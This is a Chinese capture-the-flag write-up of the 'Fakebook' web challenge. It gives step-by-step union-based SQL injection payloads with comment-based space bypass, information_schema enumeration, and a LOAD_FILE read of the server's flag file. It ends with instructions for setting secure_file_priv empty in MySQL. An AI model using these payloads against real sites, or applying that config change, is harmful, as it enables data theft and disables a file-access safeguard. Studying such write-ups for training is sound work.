[网鼎杯 2018]Fakebook
[网鼎杯 2018]Fakebook
Step
注册用户进入发现查看用户详情:
/view.php?no=1
尝试修改为2
发现报错,可能是文件包含或者SQL注入
于是尝试改成:
/view.php?no=2'
回显:
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)
...
应该是可以SQL注入
发现:
/view.php?no=1 order by 4
回显正常
/view.php?no=1 order by 5
回显:
[*] query error! (Unknown column '5' in 'order clause')
表明回显点应该是4个
payload:
(空格绕过:/**/或++)
库名:
/view.php?no=0/**/union/**/select/**/1,database(),3,4
fakebook
表名:
/view.php?no=0/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables/**/where/**/table_schema='fakebook’
users
列名:
/view.php?no=0/**/union/**/select/**/1,group_concat(column_name),3,4/**/from /**/information_schema.columns/**/where/**/table_name='users'
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
字段值:
union/**/select/**/1,group_concat(passwd),3,4/**/from/**/users
尝试获取这些字段值发现不在这里
用户:
/view.php?no=0/**/union/**/select/**/1,user(),3,4
root@localhost
发现是root用户
因为有root权限,尝试直接读取本地文件
SELECT LOAD_FILE('/flag.php');
所以payload:
/view.php?no=0/**/union/**/select/**/1,LOAD_FILE('/var/www/html/flag.php'),3,4
最初没看到flag,看了wp后发现在源代码里注释了,所以要多看源代码。
数据库root用户读取本地文件
在大多数数据库系统中,出于安全原因,默认配置通常不允许数据库的root用户直接读取本地文件系统上的文件。然而,某些数据库管理系统(如MySQL或PostgreSQL)提供了特殊的函数或权限,允许数据库用户执行文件读取操作。
以下是在MySQL中允许root用户读取本地文件的步骤:
- 确保你的MySQL服务是以root用户运行的,或者你拥有足够的权限来修改服务器配置。
- 编辑MySQL的配置文件(通常是
my.cnf
或my.ini
),在[mysqld]
部分添加以下行:
[mysqld]
secure_file_priv=''
这将移除对secure_file_priv
指令的限制,允许文件读写。
读取方式:
- 重启MySQL服务以应用更改。
- 使用root用户登录到MySQL,并使用以下命令来读取文件:
SELECT LOAD_FILE('/path/to/your/file.txt');